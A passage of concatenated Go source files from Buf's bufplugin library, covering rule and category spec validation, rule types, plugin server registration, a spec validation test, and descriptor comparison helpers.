newDuplicateRuleOrCategoryIDError(duplicateIDs) 234 | } 235 | return nil 236 | } 237 | -------------------------------------------------------------------------------- /check/rule_handler.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package check 16 | 17 | import ( 18 | "context" 19 | ) 20 | 21 | var nopRuleHandler = RuleHandlerFunc(func(context.Context, ResponseWriter, Request) error { return nil }) 22 | 23 | // RuleHandler implements the check logic for a single Rule. 24 | // 25 | // A RuleHandler takes in a Request, and writes Annotations to the ResponseWriter. 26 | type RuleHandler interface { 27 | Handle(ctx context.Context, responseWriter ResponseWriter, request Request) error 28 | } 29 | 30 | // RuleHandlerFunc is a function that implements RuleHandler. 31 | type RuleHandlerFunc func(context.Context, ResponseWriter, Request) error 32 | 33 | // Handle implements RuleHandler. 34 | func (r RuleHandlerFunc) Handle(ctx context.Context, responseWriter ResponseWriter, request Request) error { 35 | return r(ctx, responseWriter, request) 36 | } 37 | -------------------------------------------------------------------------------- /check/rule_spec.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package check 16 | 17 | import ( 18 | "errors" 19 | "fmt" 20 | "regexp" 21 | "sort" 22 | 23 | "buf.build/go/bufplugin/internal/pkg/xslices" 24 | ) 25 | 26 | const ( 27 | idMinLen = 3 28 | idMaxLen = 64 29 | ) 30 | 31 | var ( 32 | idRegexp = regexp.MustCompile("^[A-Z0-9][A-Z0-9_]*[A-Z0-9]$") 33 | purposeRegexp = regexp.MustCompile("^[A-Z].*[.]$") 34 | ) 35 | 36 | // RuleSpec is the spec for a Rule. 37 | // 38 | // It is used to construct a Rule on the server-side (i.e. within the plugin). It specifies the 39 | // ID, categories, purpose, type, and a RuleHandler to actually run the Rule logic. 40 | // 41 | // Generally, these are provided to Main. This library will handle Check and ListRules calls 42 | // based on the provided RuleSpecs. 43 | type RuleSpec struct { 44 | // Required. 45 | ID string 46 | CategoryIDs []string 47 | Default bool 48 | // Required. 49 | Purpose string 50 | // Required. 51 | Type RuleType 52 | Deprecated bool 53 | ReplacementIDs []string 54 | // Required. 55 | Handler RuleHandler 56 | } 57 | 58 | // *** PRIVATE *** 59 | 60 | // Assumes that the RuleSpec is validated. 61 | func ruleSpecToRule(ruleSpec *RuleSpec, idToCategory map[string]Category) (Rule, error) { 62 | categories, err := xslices.MapError( 63 | ruleSpec.CategoryIDs, 64 | func(id string) (Category, error) { 65 | category, ok := idToCategory[id] 66 | if !ok { 67 | return nil, fmt.Errorf("no category for id %q", id) 68 | } 69 | return category, nil 70 | }, 71 | ) 72 | if err != nil { 73 | return nil, err 74 | } 75 | return newRule( 76 | ruleSpec.ID, 77 | categories, 78 | ruleSpec.Default, 79 | ruleSpec.Purpose, 80 | ruleSpec.Type, 81 | ruleSpec.Deprecated, 82 | ruleSpec.ReplacementIDs, 83 | ) 84 | } 85 | 86 | func validateRuleSpecs( 87 | ruleSpecs []*RuleSpec, 88 | categoryIDMap map[string]struct{}, 89 | ) error { 90 | ruleIDs := xslices.Map(ruleSpecs, func(ruleSpec *RuleSpec) string { return ruleSpec.ID }) 91 | if err := validateNoDuplicateRuleIDs(ruleIDs); err != nil { 92 | return err 93 | } 94 | ruleIDToRuleSpec := make(map[string]*RuleSpec) 95 | for _, ruleSpec := range ruleSpecs { 96 | if err := validateID(ruleSpec.ID); err != nil { 97 | return wrapValidateRuleSpecError(err) 98 | } 99 | ruleIDToRuleSpec[ruleSpec.ID] = ruleSpec 100 | } 101 | for _, ruleSpec := range ruleSpecs { 102 | for _, categoryID := range ruleSpec.CategoryIDs { 103 | if _, ok := categoryIDMap[categoryID]; !ok { 104 | return newValidateRuleSpecErrorf("no category has ID %q", categoryID) 105 | } 106 | } 107 | if err := validatePurpose(ruleSpec.ID, ruleSpec.Purpose); err != nil { 108 | return wrapValidateRuleSpecError(err) 109 | } 110 | if ruleSpec.Type == 0 { 111 | return newValidateRuleSpecErrorf("Type is not set for ID %q", ruleSpec.ID) 112 | } 113 | if _, ok := ruleTypeToProtoRuleType[ruleSpec.Type]; !ok { 114 | return newValidateRuleSpecErrorf("Type is unknown: %q", ruleSpec.Type) 115 | } 116 | if ruleSpec.Handler == nil { 117 | return newValidateRuleSpecErrorf("Handler is not set for ID %q", ruleSpec.ID) 118 | } 119 | if ruleSpec.Default && ruleSpec.Deprecated { 120 | return newValidateRuleSpecErrorf("ID %q was a default Rule but Deprecated was false", ruleSpec.ID) 121 | } 122 | if len(ruleSpec.ReplacementIDs) > 0 && !ruleSpec.Deprecated { 123 | return newValidateRuleSpecErrorf("ID %q had ReplacementIDs but Deprecated was false", ruleSpec.ID) 124 | } 125 | for _, replacementID := range ruleSpec.ReplacementIDs { 126 | replacementRuleSpec, ok := ruleIDToRuleSpec[replacementID] 127 | if !ok { 128 | return newValidateRuleSpecErrorf("ID %q specified replacement ID %q which was not found", ruleSpec.ID, replacementID) 129 | } 130 | if replacementRuleSpec.Deprecated { 131 | return newValidateRuleSpecErrorf("Deprecated ID %q specified replacement ID %q which also deprecated", ruleSpec.ID, replacementID) 132 | } 133 | } 134 | } 135 | return nil 136 | } 137 | 138 | func sortRuleSpecs(ruleSpecs []*RuleSpec) { 139 | sort.Slice(ruleSpecs, func(i int, j int) bool { return compareRuleSpecs(ruleSpecs[i], ruleSpecs[j]) < 0 }) 140 | } 141 | 142 | func validateID(id string) error { 143 | if id == "" { 144 | return errors.New("ID is empty") 145 | } 146 | if len(id) < idMinLen { 147 | return fmt.Errorf("ID %q must be at least length %d", id, idMinLen) 148 | } 149 | if len(id) > idMaxLen { 150 | return fmt.Errorf("ID %q must be at most length %d", id, idMaxLen) 151 | } 152 | if !idRegexp.MatchString(id) { 153 | return fmt.Errorf("ID %q does not match %q", id, idRegexp.String()) 154 | } 155 | return nil 156 | } 157 | 158 | func validatePurpose(id string, purpose string) error { 159 | if purpose == "" { 160 | return fmt.Errorf("Purpose is empty for ID %q", id) 161 | } 162 | if !purposeRegexp.MatchString(purpose) { 163 | return fmt.Errorf("Purpose %q for ID %q does not match %q", purpose, id, purposeRegexp.String()) 164 | } 165 | return nil 166 | } 167 | -------------------------------------------------------------------------------- /check/rule_type.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package check 16 | 17 | import ( 18 | "strconv" 19 | 20 | checkv1 "buf.build/gen/go/bufbuild/bufplugin/protocolbuffers/go/buf/plugin/check/v1" 21 | ) 22 | 23 | const ( 24 | // RuleTypeLint is a lint Rule. 25 | RuleTypeLint RuleType = 1 26 | // RuleTypeBreaking is a breaking change Rule. 27 | RuleTypeBreaking RuleType = 2 28 | ) 29 | 30 | var ( 31 | ruleTypeToString = map[RuleType]string{ 32 | RuleTypeLint: "lint", 33 | RuleTypeBreaking: "breaking", 34 | } 35 | ruleTypeToProtoRuleType = map[RuleType]checkv1.RuleType{ 36 | RuleTypeLint: checkv1.RuleType_RULE_TYPE_LINT, 37 | RuleTypeBreaking: checkv1.RuleType_RULE_TYPE_BREAKING, 38 | } 39 | protoRuleTypeToRuleType = map[checkv1.RuleType]RuleType{ 40 | checkv1.RuleType_RULE_TYPE_LINT: RuleTypeLint, 41 | checkv1.RuleType_RULE_TYPE_BREAKING: RuleTypeBreaking, 42 | } 43 | ) 44 | 45 | // RuleType is the type of Rule. 46 | type RuleType int 47 | 48 | // String implements fmt.Stringer. 49 | func (t RuleType) String() string { 50 | if s, ok := ruleTypeToString[t]; ok { 51 | return s 52 | } 53 | return strconv.Itoa(int(t)) 54 | } 55 | -------------------------------------------------------------------------------- /check/server.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package check 16 | 17 | import ( 18 | "buf.build/go/bufplugin/info" 19 | checkv1pluginrpc "buf.build/go/bufplugin/internal/gen/buf/plugin/check/v1/v1pluginrpc" 20 | infov1pluginrpc "buf.build/go/bufplugin/internal/gen/buf/plugin/info/v1/v1pluginrpc" 21 | "pluginrpc.com/pluginrpc" 22 | ) 23 | 24 | // NewServer is a convenience function that creates a new pluginrpc.Server for 25 | // the given Spec. 26 | // 27 | // This registers: 28 | // 29 | // - The Check RPC on the command "check". 30 | // - The ListRules RPC on the command "list-rules". 31 | // - The ListCategories RPC on the command "list-categories". 32 | // - The GetPluginInfo RPC on the command "info" (if spec.Info is present). 33 | func NewServer(spec *Spec, options ...ServerOption) (pluginrpc.Server, error) { 34 | serverOptions := newServerOptions() 35 | for _, option := range options { 36 | option(serverOptions) 37 | } 38 | 39 | checkServiceHandler, err := NewCheckServiceHandler(spec, CheckServiceHandlerWithParallelism(serverOptions.parallelism)) 40 | if err != nil { 41 | return nil, err 42 | } 43 | var pluginInfoServiceHandler infov1pluginrpc.PluginInfoServiceHandler 44 | if spec.Info != nil { 45 | pluginInfoServiceHandler, err = info.NewPluginInfoServiceHandler(spec.Info) 46 | if err != nil { 47 | return nil, err 48 | } 49 | } 50 | pluginrpcSpec, err := checkv1pluginrpc.CheckServiceSpecBuilder{ 51 | Check: []pluginrpc.ProcedureOption{pluginrpc.ProcedureWithArgs("check")}, 52 | ListRules: []pluginrpc.ProcedureOption{pluginrpc.ProcedureWithArgs("list-rules")}, 53 | ListCategories: []pluginrpc.ProcedureOption{pluginrpc.ProcedureWithArgs("list-categories")}, 54 | }.Build() 55 | if err != nil { 56 | return nil, err 57 | } 58 | if pluginInfoServiceHandler != nil { 59 | pluginrpcInfoSpec, err := infov1pluginrpc.PluginInfoServiceSpecBuilder{ 60 | GetPluginInfo: []pluginrpc.ProcedureOption{pluginrpc.ProcedureWithArgs("info")}, 61 | }.Build() 62 | if err != nil { 63 | return nil, err 64 | } 65 | pluginrpcSpec, err = pluginrpc.MergeSpecs(pluginrpcSpec, pluginrpcInfoSpec) 66 | if err != nil { 67 | return nil, err 68 | } 69 | } 70 | 71 | serverRegistrar := pluginrpc.NewServerRegistrar() 72 | handler := pluginrpc.NewHandler(pluginrpcSpec) 73 | checkServiceServer := checkv1pluginrpc.NewCheckServiceServer(handler, checkServiceHandler) 74 | checkv1pluginrpc.RegisterCheckServiceServer(serverRegistrar, checkServiceServer) 75 | if pluginInfoServiceHandler != nil { 76 | pluginInfoServiceServer := infov1pluginrpc.NewPluginInfoServiceServer(handler, pluginInfoServiceHandler) 77 | infov1pluginrpc.RegisterPluginInfoServiceServer(serverRegistrar, pluginInfoServiceServer) 78 | } 79 | 80 | // Add documentation to -h/--help. 81 | var pluginrpcServerOptions []pluginrpc.ServerOption 82 | if spec.Info != nil { 83 | pluginInfo, err := info.NewPluginInfoForSpec(spec.Info) 84 | if err != nil { 85 | return nil, err 86 | } 87 | if documentation := pluginInfo.Documentation(); documentation != "" { 88 | pluginrpcServerOptions = append( 89 | pluginrpcServerOptions, 90 | pluginrpc.ServerWithDoc(documentation), 91 | ) 92 | } 93 | } 94 | return pluginrpc.NewServer(pluginrpcSpec, serverRegistrar, pluginrpcServerOptions...) 95 | } 96 | 97 | // ServerOption is an option for Server. 98 | type ServerOption func(*serverOptions) 99 | 100 | // ServerWithParallelism returns a new ServerOption that sets the parallelism 101 | // by which Rules will be run. 102 | // 103 | // If this is set to a value >= 1, this many concurrent Rules can be run at the same time. 104 | // A value of 0 indicates the default behavior, which is to use runtime.GOMAXPROCS(0). 105 | // 106 | // A value if < 0 has no effect. 107 | func ServerWithParallelism(parallelism int) ServerOption { 108 | return func(serverOptions *serverOptions) { 109 | if parallelism < 0 { 110 | parallelism = 0 111 | } 112 | serverOptions.parallelism = parallelism 113 | } 114 | } 115 | 116 | type serverOptions struct { 117 | parallelism int 118 | } 119 | 120 | func newServerOptions() *serverOptions { 121 | return &serverOptions{} 122 | } 123 | -------------------------------------------------------------------------------- /check/spec.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package check 16 | 17 | import ( 18 | "context" 19 | 20 | "buf.build/go/bufplugin/info" 21 | "buf.build/go/bufplugin/internal/pkg/xslices" 22 | ) 23 | 24 | // Spec is the spec for a plugin. 25 | // 26 | // It is used to construct a plugin on the server-side (i.e. within the plugin). 27 | // 28 | // Generally, this is provided to Main. This library will handle Check and ListRules calls 29 | // based on the provided RuleSpecs. 30 | type Spec struct { 31 | // Required. 32 | // 33 | // All RuleSpecs must have Category IDs that match a CategorySpec within Categories. 34 | // 35 | // No IDs can overlap with Category IDs in Categories. 36 | Rules []*RuleSpec 37 | // Required if any RuleSpec specifies a category. 38 | // 39 | // All CategorySpecs must have an ID that matches at least one Category ID on a 40 | // RuleSpec within Rules. 41 | // 42 | // No IDs can overlap with Rule IDs in Rules. 43 | Categories []*CategorySpec 44 | 45 | // Info contains information about a plugin. 46 | // 47 | // Optional. 48 | // 49 | // If not set, the resulting server will not implement the PluginInfoService. 50 | Info *info.Spec 51 | 52 | // Before is a function that will be executed before any RuleHandlers are 53 | // invoked that returns a new Context and Request. This new Context and 54 | // Request will be passed to the RuleHandlers. This allows for any 55 | // pre-processing that needs to occur. 56 | Before func(ctx context.Context, request Request) (context.Context, Request, error) 57 | } 58 | 59 | // ValidateSpec validates all values on a Spec. 60 | // 61 | // This is exposed publicly so it can be run as part of plugin tests. This will verify 62 | // that your Spec will result in a valid plugin. 63 | func ValidateSpec(spec *Spec) error { 64 | if len(spec.Rules) == 0 { 65 | return newValidateSpecError("Rules is empty") 66 | } 67 | categoryIDs := xslices.Map(spec.Categories, func(categorySpec *CategorySpec) string { return categorySpec.ID }) 68 | if err := validateNoDuplicateRuleOrCategoryIDs( 69 | append( 70 | xslices.Map(spec.Rules, func(ruleSpec *RuleSpec) string { return ruleSpec.ID }), 71 | categoryIDs..., 72 | ), 73 | ); err != nil { 74 | return wrapValidateSpecError(err) 75 | } 76 | categoryIDMap := xslices.ToStructMap(categoryIDs) 77 | if err := validateRuleSpecs(spec.Rules, categoryIDMap); err != nil { 78 | return err 79 | } 80 | if err := validateCategorySpecs(spec.Categories, spec.Rules); err != nil { 81 | return err 82 | } 83 | if spec.Info != nil { 84 | if err := info.ValidateSpec(spec.Info); err != nil { 85 | return err 86 | } 87 | } 88 | return nil 89 | } 90 | -------------------------------------------------------------------------------- /check/spec_test.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package check 16 | 17 | import ( 18 | "testing" 19 | 20 | "github.com/stretchr/testify/require" 21 | ) 22 | 23 | func TestValidateSpec(t *testing.T) { 24 | t.Parallel() 25 | 26 | validateRuleSpecError := &validateRuleSpecError{} 27 | validateCategorySpecError := &validateCategorySpecError{} 28 | validateSpecError := &validateSpecError{} 29 | 30 | // Simple spec that passes validation. 31 | spec := &Spec{ 32 | Rules: []*RuleSpec{ 33 | testNewSimpleLintRuleSpec("RULE1", nil, true, false, nil), 34 | testNewSimpleLintRuleSpec("RULE2", []string{"CATEGORY1"}, true, false, nil), 35 | testNewSimpleLintRuleSpec("RULE3", []string{"CATEGORY1", "CATEGORY2"}, true, false, nil), 36 | }, 37 | Categories: []*CategorySpec{ 38 | testNewSimpleCategorySpec("CATEGORY1", false, nil), 39 | testNewSimpleCategorySpec("CATEGORY2", false, nil), 40 | }, 41 | } 42 | require.NoError(t, ValidateSpec(spec)) 43 | 44 | // More complicated spec with deprecated rules and categories that passes validation. 45 | spec = &Spec{ 46 | Rules: []*RuleSpec{ 47 | testNewSimpleLintRuleSpec("RULE1", nil, true, false, nil), 48 | testNewSimpleLintRuleSpec("RULE2", []string{"CATEGORY1"}, true, false, nil), 49 | testNewSimpleLintRuleSpec("RULE3", []string{"CATEGORY1", "CATEGORY2"}, true, false, nil), 50 | testNewSimpleLintRuleSpec("RULE4", []string{"CATEGORY1"}, false, true, []string{"RULE1"}), 51 | testNewSimpleLintRuleSpec("RULE5", []string{"CATEGORY3", "CATEGORY4"}, false, true, []string{"RULE2", "RULE3"}), 52 | }, 53 | Categories: []*CategorySpec{ 54 | testNewSimpleCategorySpec("CATEGORY1", false, nil), 55 | testNewSimpleCategorySpec("CATEGORY2", false, nil), 56 | testNewSimpleCategorySpec("CATEGORY3", true, []string{"CATEGORY1"}), 57 | testNewSimpleCategorySpec("CATEGORY4", true, []string{"CATEGORY1", "CATEGORY2"}), 58 | }, 59 | } 60 | require.NoError(t, ValidateSpec(spec)) 61 | 62 | // Spec that has rules with categories with no resulting category spec. 63 | spec = &Spec{ 64 | Rules: []*RuleSpec{ 65 | testNewSimpleLintRuleSpec("RULE1", nil, true, false, nil), 66 | testNewSimpleLintRuleSpec("RULE2", []string{"CATEGORY1"}, true, false, nil), 67 | testNewSimpleLintRuleSpec("RULE3", []string{"CATEGORY1", "CATEGORY2"}, true, false, nil), 68 | }, 69 | Categories: []*CategorySpec{ 70 | testNewSimpleCategorySpec("CATEGORY1", false, nil), 71 | }, 72 | } 73 | require.ErrorAs(t, ValidateSpec(spec), &validateRuleSpecError) 74 | 75 | // Spec that has categories with no rules with those categories. 76 | spec = &Spec{ 77 | Rules: []*RuleSpec{ 78 | testNewSimpleLintRuleSpec("RULE1", nil, true, false, nil), 79 | testNewSimpleLintRuleSpec("RULE2", []string{"CATEGORY1"}, true, false, nil), 80 | testNewSimpleLintRuleSpec("RULE3", []string{"CATEGORY1", "CATEGORY2"}, true, false, nil), 81 | }, 82 | Categories: []*CategorySpec{ 83 | testNewSimpleCategorySpec("CATEGORY1", false, nil), 84 | testNewSimpleCategorySpec("CATEGORY2", false, nil), 85 | testNewSimpleCategorySpec("CATEGORY3", false, nil), 86 | testNewSimpleCategorySpec("CATEGORY4", false, nil), 87 | }, 88 | } 89 | require.ErrorAs(t, ValidateSpec(spec), &validateCategorySpecError) 90 | 91 | // Spec that has overlapping rules and categories. 92 | spec = &Spec{ 93 | Rules: []*RuleSpec{ 94 | testNewSimpleLintRuleSpec("RULE1", nil, true, false, nil), 95 | testNewSimpleLintRuleSpec("RULE2", []string{"CATEGORY1"}, true, false, nil), 96 | testNewSimpleLintRuleSpec("RULE3", []string{"CATEGORY1", "CATEGORY2"}, true, false, nil), 97 | }, 98 | Categories: []*CategorySpec{ 99 | testNewSimpleCategorySpec("CATEGORY1", false, nil), 100 | testNewSimpleCategorySpec("CATEGORY2", false, nil), 101 | testNewSimpleCategorySpec("RULE3", false, nil), 102 | }, 103 | } 104 | require.ErrorAs(t, ValidateSpec(spec), &validateSpecError) 105 | 106 | // Spec that has deprecated rules that point to deprecated rules. 107 | spec = &Spec{ 108 | Rules: []*RuleSpec{ 109 | testNewSimpleLintRuleSpec("RULE1", nil, true, false, nil), 110 | testNewSimpleLintRuleSpec("RULE2", nil, false, true, []string{"RULE1"}), 111 | testNewSimpleLintRuleSpec("RULE3", nil, false, true, []string{"RULE2"}), 112 | }, 113 | } 114 | require.ErrorAs(t, ValidateSpec(spec), &validateRuleSpecError) 115 | 116 | // Spec that has deprecated rules that are defaults. 117 | spec = &Spec{ 118 | Rules: []*RuleSpec{ 119 | testNewSimpleLintRuleSpec("RULE1", nil, true, true, nil), 120 | }, 121 | } 122 | require.ErrorAs(t, ValidateSpec(spec), &validateRuleSpecError) 123 | 124 | // Spec that has deprecated categories that point to deprecated categories. 125 | spec = &Spec{ 126 | Rules: []*RuleSpec{ 127 | testNewSimpleLintRuleSpec("RULE1", nil, true, false, nil), 128 | testNewSimpleLintRuleSpec("RULE2", []string{"CATEGORY1"}, true, false, nil), 129 | testNewSimpleLintRuleSpec("RULE3", []string{"CATEGORY1", "CATEGORY2", "CATEGORY3"}, true, false, nil), 130 | }, 131 | Categories: []*CategorySpec{ 132 | testNewSimpleCategorySpec("CATEGORY1", false, nil), 133 | testNewSimpleCategorySpec("CATEGORY2", true, []string{"CATEGORY1"}), 134 | testNewSimpleCategorySpec("CATEGORY3", true, []string{"CATEGORY2"}), 135 | }, 136 | } 137 | require.ErrorAs(t, ValidateSpec(spec), &validateCategorySpecError) 138 | } 139 | 140 | func testNewSimpleLintRuleSpec( 141 | id string, 142 | categoryIDs []string, 143 | isDefault bool, 144 | deprecated bool, 145 | replacementIDs []string, 146 | ) *RuleSpec { 147 | return &RuleSpec{ 148 | ID: id, 149 | CategoryIDs: categoryIDs, 150 | Default: isDefault, 151 | Purpose: "Checks " + id + ".", 152 | Type: RuleTypeLint, 153 | Deprecated: deprecated, 154 | ReplacementIDs: replacementIDs, 155 | Handler: nopRuleHandler, 156 | } 157 | } 158 | 159 | func testNewSimpleCategorySpec( 160 | id string, 161 | deprecated bool, 162 | replacementIDs []string, 163 | ) *CategorySpec { 164 | return &CategorySpec{ 165 | ID: id, 166 | Purpose: "Checks " + id + ".", 167 | Deprecated: deprecated, 168 | ReplacementIDs: replacementIDs, 169 | } 170 | } 171 | -------------------------------------------------------------------------------- /descriptor/compare.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package descriptor 16 | 17 | import ( 18 | "slices" 19 | "strings" 20 | 21 | "buf.build/go/bufplugin/internal/pkg/compare" 22 | ) 23 | 24 | // CompareFileLocations returns -1 if one < two, 1 if one > two, 0 otherwise. 25 | func CompareFileLocations(one FileLocation, two FileLocation) int { 26 | if one == nil && two == nil { 27 | return 0 28 | } 29 | if one == nil && two != nil { 30 | return -1 31 | } 32 | if one != nil && two == nil { 33 | return 1 34 | } 35 | if compare := strings.Compare(one.FileDescriptor().ProtoreflectFileDescriptor().Path(), two.FileDescriptor().ProtoreflectFileDescriptor().Path()); compare != 0 { 36 | return compare 37 | } 38 | if compare := compare.CompareInts(one.StartLine(), two.StartLine()); compare != 0 { 39 | return compare 40 | } 41 | if compare := compare.CompareInts(one.StartColumn(), two.StartColumn()); compare != 0 { 42 | return compare 43 | } 44 | if compare := compare.CompareInts(one.EndLine(), two.EndLine()); compare != 0 { 45 | return compare 46 | } 47 | if compare := compare.CompareInts(one.EndColumn(), two.EndColumn()); compare != 0 { 48 | return compare 49 | } 50 | if compare := slices.Compare(one.unclonedSourcePath(), two.unclonedSourcePath()); compare != 0 { 51 | return compare 52 | } 53 | if compare := strings.Compare(one.LeadingComments(), two.LeadingComments()); compare != 0 { 54 | return compare 55 | } 56 | if compare := strings.Compare(one.TrailingComments(), two.TrailingComments()); compare != 0 { 57 | return compare 58 | } 59 | return slices.Compare(one.unclonedLeadingDetachedComments(), two.unclonedLeadingDetachedComments()) 60 | } 61 | -------------------------------------------------------------------------------- /descriptor/descriptor.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | // Package descriptor provides descriptor types. 16 | package descriptor // import "buf.build/go/bufplugin/descriptor" 17 | -------------------------------------------------------------------------------- /descriptor/file_descriptor.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024-2025 Buf Technologies, Inc. 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package descriptor 16 | 17 | import ( 18 | "fmt" 19 | "slices" 20 | 21 | descriptorv1 "buf.build/gen/go/bufbuild/bufplugin/protocolbuffers/go/buf/plugin/descriptor/v1" 22 | "google.golang.org/protobuf/reflect/protodesc" 23 | "google.golang.org/protobuf/reflect/protoreflect" 24 | "google.golang.org/protobuf/types/descriptorpb" 25 | ) 26 | 27 | // FileDescriptor is a protoreflect.FileDescriptor with additional properties. 28 | // 29 | // The raw FileDescriptorProto is also provided from this interface. 30 | // are provided. 31 | type FileDescriptor interface { 32 | // ProtoreflectFileDescriptor returns the protoreflect.FileDescriptor representing this FileDescriptor. 33 | ProtoreflectFileDescriptor() protoreflect.FileDescriptor 34 | 35 | // FileDescriptorProto returns the FileDescriptorProto representing this File. 36 | // 37 | // This is not a copy - do not modify! 38 | FileDescriptorProto() *descriptorpb.FileDescriptorProto 39 | // IsImport returns true if the File is an import. 40 | // 41 | // An import is a file that is either: 42 | // 43 | // - A Well-Known Type included from the compiler and imported by a targeted file. 44 | // - A file that was included from a Buf module dependency and imported by a targeted file. 45 | // - A file that was not targeted, but was imported by a targeted file. 46 | // 47 | // We use "import" as this matches with the protoc concept of --include_imports, however 48 | // import is a bit of an overloaded term. 49 | IsImport() bool 50 | 51 | // IsSyntaxUnspecified denotes whether the file did not have a syntax explicitly specified. 52 | // 53 | // Per the FileDescriptorProto spec, it would be fine in this case to just leave the syntax field 54 | // unset to denote this and to set the syntax field to "proto2" if it is specified. However, 55 | // protoc does not set the syntax field if it was "proto2". Plugins may want to differentiate 56 | // between "proto2" and unset, and this field allows them to. 57 | IsSyntaxUnspecified() bool 58 | 59 | // UnusedDependencyIndexes are the indexes within the Dependency field on FileDescriptorProto for 60 | // those dependencies that are not used. 61 | // 62 | // This matches the shape of the PublicDependency and WeakDependency fields. 63 | UnusedDependencyIndexes() []int32 64 | 65 | // ToProto converts the FileDescriptor to its Protobuf representation. 66 | ToProto() *descriptorv1.FileDescriptor 67 | 68 | isFileDescriptor() 69 | } 70 | 71 | // FileDescriptorsForProtoFileDescriptors returns a new slice of FileDescriptors for the given descriptorv1.FileDescriptorDescriptors. 72 | func FileDescriptorsForProtoFileDescriptors(protoFileDescriptors []*descriptorv1.FileDescriptor) ([]FileDescriptor, error) { 73 | if len(protoFileDescriptors) == 0 { 74 | return nil, nil 75 | } 76 | fileNameToProtoFileDescriptor := make(map[string]*descriptorv1.FileDescriptor, len(protoFileDescriptors)) 77 | fileDescriptorProtos := make([]*descriptorpb.FileDescriptorProto, len(protoFileDescriptors)) 78 | for i, protoFileDescriptor := range protoFileDescriptors { 79 | fileDescriptorProto := protoFileDescriptor.GetFileDescriptorProto() 80 | fileName := fileDescriptorProto.GetName() 81 | if _, ok := fileNameToProtoFileDescriptor[fileName]; ok { 82 | // This should have been validated via protovalidate. 83 